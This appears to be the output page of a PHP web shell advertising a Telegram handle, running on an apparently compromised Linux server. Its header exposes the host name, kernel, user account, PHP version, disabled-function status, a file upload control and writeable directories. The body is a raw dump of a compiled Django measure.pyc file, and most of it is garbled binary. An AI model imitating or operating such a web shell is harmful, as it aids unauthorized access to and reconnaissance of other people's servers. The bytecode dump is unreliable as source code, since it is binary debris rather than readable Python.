https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /lib64/python2.7/site-packages/django/contrib/gis/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib64/python2.7/site-packages/django/contrib/gis/measure.pyc
�
r�\c@s�dZddddgZddlmZddlmZddlmZeje	efZ
d	Zd
�Zede
fd��Y�Zdefd
��YZdefd��YZeZeZdS(s
Distance and Area objects to allow for sensible and convienient calculation
and conversions.

Authors: Robert Coup, Justin Bronn, Riccardo Di Virgilio

Inspired by GeoPy (http://exogen.case.edu/projects/geopy/)
and Geoff Biggs' PhD work on dimensioned units for robotics.
tAtAreatDtDistancei����(tDecimal(ttotal_ordering(tsixtsq_cCs |jtkr|jS|jjS(N(t	__class__ttypet__name__(tobj((s</tmp/pip-install-XxeQeY/django/django/contrib/gis/measure.pytpretty_name/stMeasureBasecBseZdZiZiZiZdd�Zd�Zd�Z	e
ee	�Zd�Zd�Z
d�Zd�Zd�Zd�Zd	�Zd
�Zd�Zd�Zd
�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zed��Z RS(cKsS|j|�\}|_t||j|�|rOt|tj�rO||_ndS(N(t
default_unitst
_default_unittsetattrt
STANDARD_UNITt
isinstanceRtstring_types(tselftdefault_unittkwargstvalue((s</tmp/pip-install-XxeQeY/django/django/contrib/gis/measure.pyt__init__:scCst||j�S(N(tgetattrR(R((s</tmp/pip-install-XxeQeY/django/django/contrib/gis/measure.pyt
_get_standard@scCst||j|�dS(N(RR(RR((s</tmp/pip-install-XxeQeY/django/django/contrib/gis/measure.pyt
_set_standardCscCs5||jkr!|j|j|Std|��dS(NsUnknown unit type: %s(tUNITStstandardtAttributeError(Rtname((s</tmp/pip-install-XxeQeY/django/django/contrib/gis/measure.pyt__getattr__HscCs&dt|�|jt||j�fS(Ns	%s(%s=%s)(RRR(R((s</tmp/pip-install-XxeQeY/django/django/contrib/gis/measure.pyt__repr__NscCsdt||j�|jfS(Ns%s %s(RR(R((s</tmp/pip-install-XxeQeY/django/django/contrib/gis/measure.pyt__str__RscCs*t||j�r"|j|jkStSdS(N(RRRtNotImplemented(Rtother((s</tmp/pip-install-XxeQeY/django/django/contrib/gis/measure.pyt__eq__WscCs*t||j�r"|j|jkStSdS(N(RRRR#(RR$((s</tmp/pip-install-XxeQeY/django/django/contrib/gis/measure.pyt__lt__]scCs]t||j�r<|jd|ji|j|j|j6�Stdit|�d6��dS(NRs&%(class)s must be added with %(class)stclass(RRRRRt	TypeErrorR(RR$((s</tmp/pip-install-XxeQeY/django/django/contrib/gis/measure.pyt__add__escCsIt||j�r(|j|j7_|Stdit|�d6��dS(Ns&%(class)s must be added with %(class)sR'(RRRR(R(RR$((s</tmp/pip-install-XxeQeY/django/django/contrib/gis/measure.pyt__iadd__lscCs]t||j�r<|jd|ji|j|j|j6�Stdit|�d6��dS(NRs+%(class)s must be subtracted from %(class)sR'(RRRRRR(R(RR$((s</tmp/pip-install-XxeQeY/django/django/contrib/gis/measure.pyt__sub__sscCsIt||j�r(|j|j8_|Stdit|�d6��dS(Ns+%(class)s must be subtracted from %(class)sR'(RRRR(R(RR$((s</tmp/pip-install-XxeQeY/django/django/contrib/gis/measure.pyt__isub__zscCsWt|t�r6|jd|ji|j||j6�Stdit|�d6��dS(NRs(%(class)s must be multiplied with numberR'(Rt
NUMERIC_TYPESRRRRR(R(RR$((s</tmp/pip-install-XxeQeY/django/django/contrib/gis/measure.pyt__mul__�scCsIt|t�r(|jt|�9_|Stdit|�d6��dS(Ns(%(class)s must be multiplied with numberR'(RR-RtfloatR(R(RR$((s</tmp/pip-install-XxeQeY/django/django/contrib/gis/measure.pyt__imul__�scCs||S(N((RR$((s</tmp/pip-install-XxeQeY/django/django/contrib/gis/measure.pyt__rmul__�scCswt||j�r |j|jSt|t�rV|jd|ji|j||j6�Stdit|�d6��dS(NRs2%(class)s must be divided with number or %(class)sR'(RRRR-RRR(R(RR$((s</tmp/pip-install-XxeQeY/django/django/contrib/gis/measure.pyt__truediv__�scCst|�j||�S(N(R	R2(RR$((s</tmp/pip-install-XxeQeY/django/django/contrib/gis/measure.pyt__div__�scCsIt|t�r(|jt|�:_|Stdit|�d6��dS(Ns%%(class)s must be divided with numberR'(RR-RR/R(R(RR$((s</tmp/pip-install-XxeQeY/django/django/contrib/gis/measure.pyt__itruediv__�scCst|�j||�S(N(R	R4(RR$((s</tmp/pip-install-XxeQeY/django/django/contrib/gis/measure.pyt__idiv__�scCs
t|j�S(N(tboolR(R((s</tmp/pip-install-XxeQeY/django/django/contrib/gis/measure.pyt__bool__�scCst|�j|�S(N(R	R7(R((s</tmp/pip-install-XxeQeY/django/django/contrib/gis/measure.pyt__nonzero__�scCsAd}|j}x%tj|�D]\}}t|t�sIt|�}n||jkrv||j||7}|}q||jkr�|j|}||j||7}|}q|j�}||jkr�||j||7}|}q||jkr#|j|}||j||7}|}qt	d|��qW||fS(s|
        Return the unit value and the default units specified
        from the given keyword arguments dictionary.
        gsUnknown unit type: %s(
RRt	iteritemsRR/RtALIAStlowertLALIASR(RRtvalRtunitRtuR;((s</tmp/pip-install-XxeQeY/django/django/contrib/gis/measure.pyR�s,		
		
	cCs`|j�}||jkr|S||jkr2|S||jkrL|j|Std|��dS(s�
        Retrieves the unit attribute name for the given unit string.
        For example, if the given unit string is 'metre', 'm' would be returned.
        An exception is raised if an attribute cannot be found.
        s2Could not find a unit keyword associated with "%s"N(R;RR<t	Exception(tclstunit_strR;((s</tmp/pip-install-XxeQeY/django/django/contrib/gis/measure.pytunit_attname�sN(!R
t
__module__tNoneRR:RR<RRRtpropertyRR R!R"R%R&R)R*R+R,R.R0R1R2R3R4R5R7R8RtclassmethodRC(((s</tmp/pip-install-XxeQeY/django/django/contrib/gis/measure.pyR
3s8																						cBs/eZdZidd6dd6dd6dd6d	d
6dd6d
d6dd6dd6dd6dd6dd6dd6dd6dd6dd 6d!d"6d#d$6d%d&6d'd(6d)d*6d+d6d,d-6d.d/6d0d16d2d36d4d56d6d76d8d96d:d;6d<d=6Zi$dd>6dd?6d"d@6d$dA6d$dB6ddC6ddD6d;dE6d;dF6d/dG6d/dH6d-dI6d=dJ6ddK6d
dL6ddM6ddN6ddO6ddP6ddQ6ddR6ddS6ddT6ddU6ddV6ddW6ddX6d dY6d(dZ6d*d[6d1d\6d3d]6d9d^6d9d_6d d`6d7da6Zegej�D]\ZZej	�ef^q��Z
db�ZRS(ctmg=,Ԛ�4@tchaing���l�4@tchain_benoitgs�<G�4@tchain_searsg|1"u�4@tbritish_chain_benoitgᕪQ�4@tbritish_chain_searsg�����4@tbritish_chain_sears_truncatedg{�G�z�?tcmgG��Ձ�?t
british_ftglG�v�B�?t
british_ydg)h�ć�?t	clarke_ftg#�Zп�?tclarke_linkg�����B�?tfathomg����ׁ�?tftg�]�A�?tgerman_mg��äց�?t
gold_coast_ftg/�!��B�?t	indian_ydg�
F%u�?tinchg@�@tkmg�8�~߿�?tlinkg�,�ݿ�?tlink_benoitg���ܿ�?t
link_searsg�?gL7�A`%�@tmig����MbP?tmmg�@tnmg�~j��@tnm_ukg=,Ԛ�@trodg\�Nt�B�?tsears_ydg�`�jځ�?t	survey_ftg���ư>tumg�����B�?tydt
centimetertfoottinchest	kilometert	kilometretmetertmetret
micrometert
micrometret
millimetert
millimetretmiletyardsBritish chain (Benoit 1895 B)sBritish chain (Sears 1922)s$British chain (Sears 1922 truncated)sBritish foot (Sears 1922)sBritish footsBritish yard (Sears 1922)sBritish yards
Clarke's Foots
Clarke's linksChain (Benoit)s
Chain (Sears)sFoot (International)sGerman legal metresGold Coast footsIndian yards
Link (Benoit)sLink (Sears)s
Nautical MilesNautical Mile (UK)sUS survey foots	U.S. Foots
Yard (Indian)sYard (Sears)cCs�t||j�rAtdt|ji|j|jt|j6�St|t�rw|jd|ji|j||j6�Stdit	|j�d6��dS(NRs;%(distance)s must be multiplied with number or %(distance)stdistance(
RRRtAREA_PREFIXRRRR-R(R(RR$((s</tmp/pip-install-XxeQeY/django/django/contrib/gis/measure.pyR.)s	(R
RDRRR:tdicttitemstktvR;R<R.(((s</tmp/pip-install-XxeQeY/django/django/contrib/gis/measure.pyR�s�

7cBs�eZeejZegejj�D]&\ZZ	deefe	df^q&�Zegej
j�D]"\ZZ	edee	ff^qh�Z
ege
j�D]\ZZ	ej�e	f^q��Zd�Z
d�ZRS(s%s%sicCsWt|t�r6|jd|ji|j||j6�Stdit|�d6��dS(NRs%%(class)s must be divided by a numberR'(RR-RRRRR(R(RR$((s</tmp/pip-install-XxeQeY/django/django/contrib/gis/measure.pyR2=scCst|�j||�S(N(R	R2(RR$((s</tmp/pip-install-XxeQeY/django/django/contrib/gis/measure.pyR3Ds(R
RDRuRRRvRRwRxRyR:R;R<R2R3(((s</tmp/pip-install-XxeQeY/django/django/contrib/gis/measure.pyR6s
B>7	N(t__doc__t__all__tdecimalRtdjango.utils.functionalRtdjango.utilsRt
integer_typesR/R-RuRtobjectR
RRRR(((s</tmp/pip-install-XxeQeY/django/django/contrib/gis/measure.pyt<module>%s	�Z

https://t.me/AnonymousX5 - 2025